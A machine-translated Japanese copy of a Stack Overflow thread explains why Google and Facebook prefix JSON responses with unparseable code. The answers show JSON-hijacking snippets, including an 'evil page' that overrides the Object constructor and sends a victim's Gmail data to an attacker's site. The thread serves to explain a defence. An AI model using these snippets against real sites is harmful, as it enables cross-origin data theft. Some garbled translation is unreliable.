なぜ人々は「1を投げる; <邪悪になるな>」と「for(;;);」jsonの応答の前に?[複製]

221
Christopher Tarquini 2010-06-30 19:58.

重複の可能性:
Googleがwhile(1)を付加するのはなぜですか。彼らのJSON応答に?

Googleは次のようにjsonを返します:

throw 1; <dont be evil> { foo: bar}

Facebookのajaxには次のようなjsonがあります。

for(;;); {"error":0,"errorSummary": ""}
  • なぜ彼らは実行を停止して無効なjsonを作るコードを置くのですか?
  • それが無効である場合、彼らはそれをどのように解析し、あなたがそれを評価しようとするとクラッシュするでしょうか?
  • 彼らはそれを文字列から削除するだけですか(高価なようです)?
  • これにはセキュリティ上の利点はありますか?

それがセキュリティ目的であることに応じて:

スクレーパーが別のドメインにscriptある場合、XHRはクロスドメインで機能しないため、データを取得するためにタグを使用する必要があります。for(;;);攻撃者はどのようにしてデータを取得するのでしょうか。変数に割り当てられていないので、参照がないためにガベージコレクションされるだけではないでしょうか。

基本的に、データをクロスドメインで取得するには、彼らがしなければならないでしょう

<script src="http://target.com/json.js"></script>

ただし、クラッシュスクリプトが付加されていなくても、攻撃者は、グローバルにアクセスできる変数に割り当てられていない限り、Jsonデータを使用できません(これらの場合はそうではありません)。クラッシュコードがなくても、サイトのデータを使用するにはサーバーサイドスクリプトを使用する必要があるため、クラッシュコードは事実上何もしません。

4 answers

193
bobince 2010-06-30 23:02.

for(;;);攻撃者はどのようにしてデータを取得するのでしょうか。

攻撃は、コンストラクター関数またはその。を変更することにより、組み込み型、特にObjectおよびの動作を変更することに基づいてArrayprototypeます。次に、ターゲットのJSONが{...}または[...]コンストラクトを使用する場合、それらは攻撃者自身のバージョンのオブジェクトになり、予期しない動作が発生する可能性があります。

たとえば、setter-propertyをにハックしてObject、オブジェクトリテラルに記述された値を裏切ることができます。

Object.prototype.__defineSetter__('x', function(x) {
    alert('Ha! I steal '+x);
});

次に、<script>そのプロパティ名を使用するJSONがaにポイントされた場合:

{"x": "hello"}

"hello"がリークされます。

配列リテラルとオブジェクトリテラルがセッターを呼び出す方法については議論の余地があります。Firefoxは、有名なWebサイトへの攻撃が公表されたことに対応して、バージョン3.5でこの動作を削除しました。ただし、執筆時点では、Safari(4)とChrome(5)は依然としてこれに対して脆弱です。

現在すべてのブラウザーで許可されていないもう1つの攻撃は、コンストラクター関数を再定義することでした。

Array= function() {
    alert('I steal '+this);
};

[1, 2, 3]

そして今のところ、IE8のプロパティの実装(ECMAScript Fifth Edition標準およびに基づくObject.defineProperty)は現在、Object.prototypeまたはで機能しませんArray.prototype

しかし、過去のブラウザを保護するだけでなく、JavaScriptの拡張機能が将来、同様の種類のリークを引き起こす可能性があります。その場合、籾殻はそれらからも保護する必要があります。

60
Jesse Dhillon 2010-07-17 19:31.

Gmailアカウントを確認した後、私の邪悪なページにアクセスすることを検討してください。

<script type="text/javascript">
Object = function() {
  ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></script>

これから起こることは、グーグルから来たJavascriptコード(質問者は無害ですぐに範囲外になると思っていた)が実際に私の邪悪なサイトに投稿されるということです。スクリプトタグで要求されたURLが送信するとします(ブラウザが適切なCookieを提示するため、Googleはユーザーが受信トレイにログインしていると正しく認識します)。

({
  messages: [
    {
      id: 1,
      subject: 'Super confidential information',
      message: 'Please keep this to yourself: the password is 42'
    },{
      id: 2,
      subject: 'Who stole your password?',
      message: 'Someone knows your password! I told you to keep this information to yourself! And by this information I mean: the password is 42'
    }
  ]
})

今、私はこのオブジェクトのシリアル化されたバージョンを私の邪悪なサーバーに投稿します。ありがとうございました!

これを防ぐ方法は、JSON応答を削除し、同じドメインからそのデータを操作できるときにそれらを削除することです。この回答が気に入った場合は、bobinceによって投稿された回答を受け入れてください。

23
rook 2010-06-30 22:06.

編集

これらの文字列は一般に「解析不可能なクロフト」と呼ばれ、JSON仕様に影響を与える情報漏えいの脆弱性にパッチを適用するために使用されます。この攻撃は現実の世界であり、Gmailの脆弱性がJeremiahGrossmanによって発見されました。Mozillaはまた、これがJSON仕様の脆弱性であると考えており、Firefox3でパッチが適用されています。ただし、この問題は他のブラウザにも影響を与えるため、互換性のあるパッチであるため、この「解析不可能な問題」が必要です。

ボビスの答えには、この攻撃の技術的な説明があり、それは正しいです。

5
dan04 2010-06-30 20:12.

それが無効である場合、彼らはそれをどのように解析し、あなたがそれを評価しようとするとクラッシュするでしょうか?

試してみるとクラッシュする機能ですevalevalクロスサイトスクリプティング攻撃に使用される可能性のある任意のJavaScriptコードを許可します。

彼らはそれを文字列から削除するだけですか(高価なようです)?

そう思います。おそらく次のようなものです:

function parseJson(json) {
   json = json.replace("throw 1; <dont be evil>", "");
   if (/* regex to validate the JSON */) {
       return eval(json);
   } else {
       throw "XSS";
   }
}

「邪悪になるな」の雑用は、開発者evalがより安全な代替手段の代わりに直接使用することを防ぎます。

Related questions

MORE COOL STUFF

ケイト・ブランシェットは3日間一緒に夫と一緒に寝て、25年経ってもまだ夫と結婚しています

ケイト・ブランシェットは3日間一緒に夫と一緒に寝て、25年経ってもまだ夫と結婚しています

ケイト・ブランシェットは、夫に会ったとき、典型的な交際のアドバイスに逆らいました。

マイケルシーンが非営利の俳優である理由

マイケルシーンが非営利の俳優である理由

マイケルシーンは非営利の俳優ですが、それは正確にはどういう意味ですか?

ホールマークスターのコリンエッグレスフィールドがRomaDramaLiveでスリル満点のファンと出会う![エクスクルーシブ]

ホールマークスターのコリンエッグレスフィールドがRomaDramaLiveでスリル満点のファンと出会う![エクスクルーシブ]

特徴的なスターのコリン・エッグレスフィールドは、RomaDrama Liveでのスリル満点のファンとの出会いについて料理しました!加えて、大会での彼のINSPIREプログラム。

「たどりつけば」をオンラインでストリーミングできない理由

「たどりつけば」をオンラインでストリーミングできない理由

ノーザンエクスポージャーが90年代の最も人気のある番組の1つになった理由を確認するには、Blu-rayまたはDVDプレーヤーをほこりで払う必要があります。

バイオニック読書はあなたをより速く読むことができますか?

バイオニック読書はあなたをより速く読むことができますか?

BionicReadingアプリの人気が爆発的に高まっています。しかし、それは本当にあなたを速読術にすることができますか?

ドミニカのボイリング湖:アクセスは簡単ではありませんが、ハイキングする価値があります

ドミニカのボイリング湖:アクセスは簡単ではありませんが、ハイキングする価値があります

ドミニカのボイリング湖は、世界で2番目に大きいボイリング湖です。そこにたどり着くまでのトレッキングは大変で長いですが、努力する価値は十分にあります。

私たちの水をきれいに保つのを助けるためにあなたの髪を寄付してください

私たちの水をきれいに保つのを助けるためにあなたの髪を寄付してください

サロンからのヘアトリミングや個人的な寄付は、油流出を吸収して環境を保護するのに役立つマットとして再利用できます。

ホワイトハウスの最も記憶に残る結婚式を見てください

ホワイトハウスの最も記憶に残る結婚式を見てください

過去200年以上の間にホワイトハウスで結婚したのはほんの数人です。彼らは誰でしたか、そしてそこで結婚式を獲得するために何が必要ですか?

ねえNFL、ジョーバロウとカイラーマレーは女性の権利をサポートするために少しの助けを使うことができます

ねえNFL、ジョーバロウとカイラーマレーは女性の権利をサポートするために少しの助けを使うことができます

ジョー・バロウロー対ウェイド事件の転覆に対応するNFLは、言葉を言わないことで、腹立たしいが予測可能なPRの結果でした。

別の日、別のヒンジのないLIV記者会見

別の日、別のヒンジのないLIV記者会見

(lから)パット・ペレス、ブルックス・ケプカ、パトリック・リードサウジアラビアのLIVゴルフリーグのさらに別の信じられないほどの記者会見で、スポーツのファンはブルックス・ケプカからでたらめな吐き気と質問回避の驚異的なマスタークラスを受けました。パトリックリード、ブライソンデシャンボー、パットペレス、最近のPGAツアーの脱北者。

ミズ・マーベルの家族の帰郷は悪役よりも激しく打撃を与える

ミズ・マーベルの家族の帰郷は悪役よりも激しく打撃を与える

レッドダガーとマーベルさんがチームを組んでいます。

6億7500万ドルのビットコインローンのデフォルト後にすべての資産を清算するように命じられたスリーアローズキャピタル

6億7500万ドルのビットコインローンのデフォルト後にすべての資産を清算するように命じられたスリーアローズキャピタル

暗号業界最大の沈没船の1つであるスリーアローズキャピタルは、ついにその悲惨さから解放されています。火曜日に、不良債権ヘッジファンドは、債権者からの返済を要求する訴訟の高まりに応えて、バージンアイランド裁判所によって清算を命じられました彼らが3ACに行ったローン。

Zendaya Wishes Boyfriend Tom Holland Happy Birthday with Cuddly Photo: He 'Makes Me the Happiest'

Zendaya Wishes Boyfriend Tom Holland Happy Birthday with Cuddly Photo: He 'Makes Me the Happiest'

Zendaya shared a sweet photo in honor of boyfriend Tom Holland's 26th birthday Wednesday

小さな女性:脳卒中を患った後に病院から解放されたアトランタのジューシーな赤ちゃん:「まだ癒し」

小さな女性:脳卒中を患った後に病院から解放されたアトランタのジューシーな赤ちゃん:「まだ癒し」

シーレン「Ms.JuicyBaby」ピアソンは、先月脳卒中で入院した後、「もう一度たくさんのことをする方法を学ばなければならない」ため、言語療法を受けていることを明らかにしました。

エマストーンは彼女のクリフサイドマリブビーチハウスを420万ドルでリストアップしています—中を見てください!

エマストーンは彼女のクリフサイドマリブビーチハウスを420万ドルでリストアップしています—中を見てください!

オスカー受賞者の世紀半ばの家には、3つのベッドルーム、2つのバス、オーシャンフロントの景色があります。

ジーニー・メイ・ジェンキンスは、母乳育児の経験の中で、彼女は「本当に、本当に落ち込んでいる」と言います

ジーニー・メイ・ジェンキンスは、母乳育児の経験の中で、彼女は「本当に、本当に落ち込んでいる」と言います

ジーニー・メイ・ジェンキンスは、生後4か月の娘、モナコに母乳育児をしていると語った。

Suffragettes Indicam #3: Junho

Suffragettes Indicam #3: Junho

Mais um mês se findando — e metade do ano de 2022 já passou. Sabe o que isso significa? Não, não é hora de verificar se você está cumprindo com suas resoluções de Ano Novo.

多元宇宙—Junø

多元宇宙—Junø

チェーン間アカウントがJunoに登場します。異なるブロックチェーン間でスマートコントラクトの構成可能性と真の相互運用性を提供します。

#brand【ベター・コール・ソール!アメリカのテレビシリーズ「ブレイキング・バッド」に最高のビジネス例が隠されている】・・・ルールクリエイティブ

#brand【ベター・コール・ソール!アメリカのテレビシリーズ「ブレイキング・バッド」に最高のビジネス例が隠されている】・・・ルールクリエイティブ

1.ドラマを見た後、起業する考えはありますか?あなたのビジネスはボトルネックに遭遇しましたか?方向性がなくてわからない場合は、ドラマを追いかけて行くことを心からお勧めします。(?)ブラフではなく、最も完璧なビジネス例を隠すドラマがあります。2.ブレイキング・バッドとその弁護士ドラマ「ブレイキング・バッド」を見た友人たちは、演劇の中で、穏やかな表情で、弁護士のソウル・グッドマンに深く感銘を受けなければなりません。口を開けて、感覚の弱い傭兵の性格を持っています。道徳の面で、サル・グッドマンは無意識のうちに劇に欠かせない役割を果たし、彼自身のシリーズ「絶望的な弁護士」(ベター・コール・ソール)を生み出しました。ウェントウのテキストとビデオは、劇中のソウル・グッドマンのテレビコマーシャルです。製品(サービス)、競争戦略、市場ポジショニング、ブランド名、ターゲット顧客グループ、コミュニケーション軸から広告まで、サル・グッドマンの役割のビジネス設定は、「最低」と見なすことができる超超超超超超完全です。ブランドコミュニケーションのコスト」「変化」のモデル。なぜ?私の分析をご覧ください。3.ソウル・グッドマンの「事業戦略」1.基本情報ブランド名:Saul Goodman製品:法律相談サービス対象顧客:麻薬中毒、飲酒運転、事故など。法律知識の欠如は、一般的に公立弁護士にしか余裕がなく、真面目な弁護士も「特別な法律を持つ消費者」を避けます。恐れてはいけない「​​ニーズ」。コミュニケーションの主軸:この国のすべての男性、女性、子供は有罪判決を受けるまで無実だと思います。地域:アルバカーキ市スローガン:Thrallに電話したほうがいいです!(ベター・コール・ソール)広告:2つの可能性のある犯罪状況をシミュレートします+サウルの主張+サウルのスローガン2をより適切に呼び出します。

メインネットガイド— Arbitrum Odyssey Week 2

メインネットガイド— Arbitrum Odyssey Week 2

最新のアップデートを受け取るために私たちに従ってください。ニュースレター:https://www。

Language